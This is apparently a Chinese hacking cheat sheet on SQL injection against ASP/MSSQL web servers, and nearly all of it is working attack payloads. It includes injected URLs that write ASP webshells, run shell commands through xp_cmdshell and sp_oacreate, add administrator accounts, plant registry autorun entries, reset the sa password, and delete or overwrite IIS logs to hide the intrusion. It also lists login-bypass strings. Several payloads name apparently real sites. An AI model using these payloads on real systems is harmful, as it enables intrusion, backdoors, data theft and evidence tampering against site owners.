1、 用^轉義字符來寫ASP(一句話木馬)文件的方法:
? http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^script language=VBScript runat=server^>execute request^("l"^)^/script^> >c:\mu.asp';--
? echo ^%execute^(request^("l"^)^)%^> >c:\mu.asp
2、 顯示SQL系統版本:
? http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION)
? http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@version)--
Microsoft VBScript 編譯器錯誤 錯誤 '800a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.
/display.asp,行17
3、 在檢測索尼中國的網站漏洞時,分明已經確定了漏洞存在卻無法在這三種漏洞中找到對應的類型。偶然間我想到了在SQL語言中可以使用“in”關鍵字進行查詢,例如“select * from mytable where id in(1)”,括號中的值就是我們提交的數據,它的結果與使用“select * from mytable where id=1”的查詢結果完全相同。所以訪問頁面的時候在URL后面加上“) and 1=1 and 1 in(1”后原來的SQL語句就變成了“select * from mytable where id in(1) and 1=1 and 1 in(1)”,這樣就會出現期待已久的頁面了。暫且就叫這種類型的漏洞為“包含數字型”吧,聰明的你一定想到了還有“包含字符型”呢。對了,它就是由于類似“select * from mytable where name in('firstsee')”的查詢語句造成的。
4、 判斷xp_cmdshell擴展存儲過程是否存在:
http://192.168.1.5/display.asp?keyno=188 and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
恢復xp_cmdshell擴展存儲的命令:
http://www.test.com/news/show1.asp?NewsId=125272
;exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';--
5、 向啟動組中寫入命令行和執行程序:
http://192.168.1.5/display.asp?keyno=188;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add'
6、 查看當前的數據庫名稱:
? http://192.168.1.5/display.asp?keyno=188 and 0>db_name(n) n改成0,1,2,3……就可以跨庫了
? http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,db_name())--
Microsoft VBScript 編譯器錯誤 錯誤 '800a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'huidahouse' to a column of data type int.
/display.asp,行17
7、 列出當前所有的數據庫名稱:
select * from master.dbo.sysdatabases 列出所有列的記錄
select name from master.dbo.sysdatabases 僅列出name列的記錄
8、 不需xp_cmdshell支持在有注入漏洞的SQL服務器上運行CMD命令:
create TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:\&;c:\temp.txt','0','true'
--注意run的參數true指的是將等待程序運行的結果,對于類似ping的長時間命令必需使用此參數。
EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
--因為fso的opentextfile方法將返回一個textstream對象,所以此時@file是一個對象令牌
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
insert INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END
drop TABLE MYTMP
----------
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true'
EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
insert INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END
以下是一行里面將WEB用戶加到管理員組中:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
以下是一行中執行EXE程序:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript.exe E:\bjeea.net.cn\score\fts\images\iis.vbs lh1 c:\&;c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
SQL下三種執行CMD命令的方法:
先刪除7.18號日志:
(1)exec master.dbo.xp_cmdshell 'del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt'
(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
(3)首先開啟jet沙盤模式,通過擴展存儲過程xp_regwrite修改注冊表實現,管理員修改注冊表不能預防的原因。出于安全原因,默認沙盤模式未開啟,這就是為什么需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER權限,為了方便,這里建議使用sysadmin權限測試:
? exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
注:
0 禁止一切(默認)
1 使能訪問ACCESS,但是禁止其它
2 禁止訪問ACCESS,但是使能其他
3 使能一切
? 這里僅給出sysadmin權限下使用的命令:
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
? 建立鏈接數據庫'L0op8ack'參考命令:
EXEC sp_addlinkedserver 'L0op8ack','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb'
? 如何使用鏈接數據庫:
使用這個方式可以執行,但是很不幸,DB_OWNER權限是不夠的,需要至少sysadmin權限或者securityadmin+setupadmin權限組合
sp_addlinkedserver需要sysadmin或setupadmin權限
sp_addlinkedsrvlogin需要sysadmin或securityadmin權限
最終發現,還是sa權限或者setupadmin+securityadmin權限帳戶才能使用,
一般沒有哪個管理員這么設置普通帳戶權限的
實用性不強,僅作為一個學習總結吧
大致過程如下,如果不是sysadmin,那么IAS.mdb權限驗證會出錯,
我測試的時候授予hacker這個用戶setupadmin+securityadmin權限,使用ias.mdb失敗
需要找一個一般用戶可訪問的mdb才可以:
? 新建鏈接服務器”L0op8ack”:EXEC sp_addlinkedserver 'L0op8ack','JetOLEDB','Microsoft.Jet.OLEDB.4.0','c:\winnt\system32\ias\ias.mdb';--
? exec sp_addlinkedsrvlogin 'L0op8ack','false';--或
exec sp_addlinkedsrvlogin 'L0op8ack', 'false', NULL, 'test1', 'ptlove';--
? select * FROM OPENQUERY(L0op8ack, 'select shell("cmd.exe /c net user")');--
? exec sp_droplinkedsrvlogin 'L0op8ack','false';--
? exec sp_dropserver 'L0op8ack';--
再考貝一個其它文件來代替7.18日文件:
(1)exec master.dbo.xp_cmdshell 'copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt'
(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
(3)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c net user>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
9、 用update來更新表中的數據:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;update upload.dbo.admin set pwd='a0b923820dcc509a' where username='www';--
www用戶密碼的16位MD5值為:a0b923820dcc509a,即把密碼改成1;
32位MD5值為: ,密碼為
10、 利用表內容導成文件功能
SQL有BCP命令,它可以把表的內容導成文本文件并放到指定位置。利用這項功能,我們可以先建一張臨時表,然后在表中一行一行地輸入一個ASP木馬,然后用BCP命令導出形成ASP文件。
命令行格式如下:
bcp "select * from temp " queryout c:\inetpub\wwwroot\runcommand.asp –c –S localhost –U sa –P upload('S'參數為執行查詢的服務器,'U'參數為用戶名,'P'參數為密碼,最終上傳了一個runcommand.asp的木馬)。
11、創建表、播入數據和讀取數據的方法
? 創建表:
' and 1=1 union select 1,2,3,4;create table [dbo].[cyfd]([gyfd][char](255))--
? 往表里播入數據:
' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) select top 1 name from upload.dbo.sysobjects where xtype='U' and status>0,@result output insert into cyfd (gyfd) values(@result);--
' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
? 從表里讀取數據:
' and 1=(select count(*) from cyfd where gyfd >1)--
? 刪除臨時表:
';drop table cyfd;--
12、通過SQL語句直接更改sa的密碼:
? update master.dbo.sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01,這樣sa的密碼就被我們改成了111111拉。呵呵,解決的方法就是把sa給刪拉。,怎么刪可以參考我的《完全刪除sa這個后門》。
? 查看本機所有的數據庫用戶名:
select * from master.dbo.sysxlogins
select name,sid,password ,dbid from master.dbo.sysxlogins
? 更改sa口令方法:用sql綜合利用工具連接后,執行命令:
exec sp_password NULL,'新密碼','sa'
13、查詢dvbbs庫中所有的表名和表結構:
? select * from dvbbs.dbo.sysobjects where xtype='U' and status>0
? select * from dvbbs.dbo.syscolumns where id=1426104121
14、手工備份當前數據庫:
完全備份:
;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH formAT--
差異備份:
;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH DIFFERENTIAL,formAT—
15、添加和刪除一個SA權限的用戶test:
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin
cmd.exe /c isql -E /U alma /P /i K:\test.qry
16、select * from ChouYFD.dbo.sysobjects where xtype='U' and status>0
就可以列出庫ChouYFD中所有的用戶建立的表名。
select name,id from ChouYFD.dbo.sysobjects where xtype='U' and status>0
17、
? http://www.npc.gov.cn/zgrdw/common/image_view.jsp?sqlstr=select * from rdweb.dbo.syscolumns (where id=1234)
列出rdweb庫中所有表中的字段名稱
? select * from dvbbs.dbo.syscolumns where id=5575058
列出庫dvbbs中表id=5575058的所有字段名
18、刪除記錄命令:delete from Dv_topic where boardid=5 and topicid=7978
19、繞過登錄驗證進入后臺的方法整理:
1) ' or''='
2) ' or 1=1--
3) ' or 'a'='a--
4) 'or'='or'
5) " or 1=1--
6)or 1=1--
7) or 'a='a
8)" or "a"="a
9) ') or ('a'='a
10) ") or ("a"="a
11) ) or (1=1
12) 'or''='
13) 人氣%' and 1=1 and '%'='
20、尋找網站路徑的方法匯總:
1)查看WEB網站安裝目錄命令:
? cscript c:\inetpub\adminscripts\adsutil.vbs enum w3svc/2/root >c:\test1.txt (將2換成1、3、4、5試試)
type c:\test1.txt
del c:\test1.txt
在NBSI下可以直接顯示運行結果,所以不用導出到文件
2)在網站上隨便找到一個圖片的名字 123.jpg
然后寫進批處理程序123.bat:
d:
dir 123.jpg /s >c:\123.txt
e:
dir 123.jpg /s >>c:\123.txt
f:
dir 123.jpg /s >>c:\123.txt
執行后 type c:\123.txt
這樣來分析網站的路徑
3)SQL服務器和網站服務器在同一個服務器上,好了是可以執行命令是吧?
將執行命令輸出結果到
%windir%\help\iishelp\common\404b.htm或者500.asp
注意輸出前Backup這兩個文件
如:
dir c:\&;>%windir%\help\iishelp\common\404b.htm
然后隨便輸入一個文件來訪問:http://目標ip/2.asp
4)針對win2000系統:xp_regread讀取HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots 獲取WEB路徑
2003系統:xp_regread讀取,未找到方法
如:
(1) 新建一個表cyfd(字段為gyfd):http://www.cnwill.com/NewsShow.aspx?id=4844;create table [dbo].[cyfd]([gyfd][char](255))--
(2) 把web路徑寫進去:http://www.cnwill.com/NewsShow.aspx?id=4844;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
(3) 還是讓他不匹配,顯示錯誤:http://www.cnwill.com/NewsShow.aspx?id=4844 and 1=(select count(*) from cyfd where gyfd >1)
Source: .Net SqlClient Data Provider
Description: 將 varchar 值 'Y:\Web\煙臺人才熱線后臺管理系統,,201 ' 轉換為數據類型為 int 的列時發生語法錯誤。
TargeSite: Boolean Read() 哈哈哈。。路徑暴露了。。
(4)接下來刪除表:http://www.cnwill.com/NewsShow.aspx?id=4844;drop table cyfd;--
5)用regedit命令導出注冊表,將導出的結果保存的路徑到%windir%\help\iishelp\common\404b.htm或者500.asp頁面
regedit命令說明:
Regedit /L:system /R:user /E filename.reg Regpath
參數含義:
/L:system指定System.dat文件所在的路徑。
/R:user指定User.dat文件所在的路徑。
/E:此參數指定注冊表編輯器要進行導出注冊表操作,在此參數后面空一格,輸入導出注冊表的文件名。
Regpath:用來指定要導出哪個注冊表的分支,如果不指定,則將導出全部注冊表分支。在這些參數中,"/L:system"和"/R:user"參數是可選項,如果不使用這兩個參數,注冊表編輯器則認為是對WINDOWS目錄下的"system.dat"和"user.dat"文件進行操作。如果是通過從軟盤啟動并進入DOS,那么就必須使用"/L"和"/R"參數來指定"system.dat"和"user.dat"文件的具體路徑,否則注冊表編輯器將無法找到它們。比如說,如果通過啟動盤進入DOS,則備份注冊表的命令是"Regedit /L:C:\windows\/R:C:\windows\/e regedit.reg",該命令的意思是把整個注冊表備份到WINDOWS目錄下,其文件名為"regedit.reg"。而如果輸入的是"regedit /E D:\regedit.reg"這條命令,則是說把整個注冊表備份到D盤的根目錄下(省略了"/L"和"/R"參數),其文件名為"Regedit.reg"。
regedit /s c:\adam.reg (導入c:\adam.reg文件至注冊表)
regedit /e c:\web.reg (備份全部注冊內容到c:\web.reg中)
針對win2000系統:C:\&;regedit /e %windir%\help\iishelp\common\404b.htm "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots"
然后http://目標IP/2.asp
針對win2003系統:沒有找到,希望找到的朋友公布出來一起討論。
6)虛擬主機下%SystemRoot%\system32\inetsrv\MetaBack\下的文件是iis的備份文件,是允許web用戶訪問的,如果你的iis備份到這里,用webshell下載下來后用記事本打開,可以獲取對應的域名和web絕對路徑。
7)SQL注入建立虛擬目錄,有dbo權限下找不到web絕對路徑的一種解決辦法:
我們很多情況下都遇到SQL注入可以列目錄和運行命令,但是卻很不容易找到web所在目錄,也就不好得到一個webshell,這一招不錯:
? 建立虛擬目錄win,指向c:\winnt\system32:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"'
? 讓win目錄具有解析asp腳本權限:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/win/Accessexecute "true" –s:'
? 刪除虛擬目錄win:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/'
? 測試:http://127.0.0.1/win/test.asp
12下一頁閱讀全文
您可能感興趣的文章:- php中sql注入漏洞示例 sql注入漏洞修復
- php防止sql注入代碼實例
- php防止SQL注入詳解及防范
- sql注入與轉義的php函數代碼
- php中防止SQL注入的最佳解決方法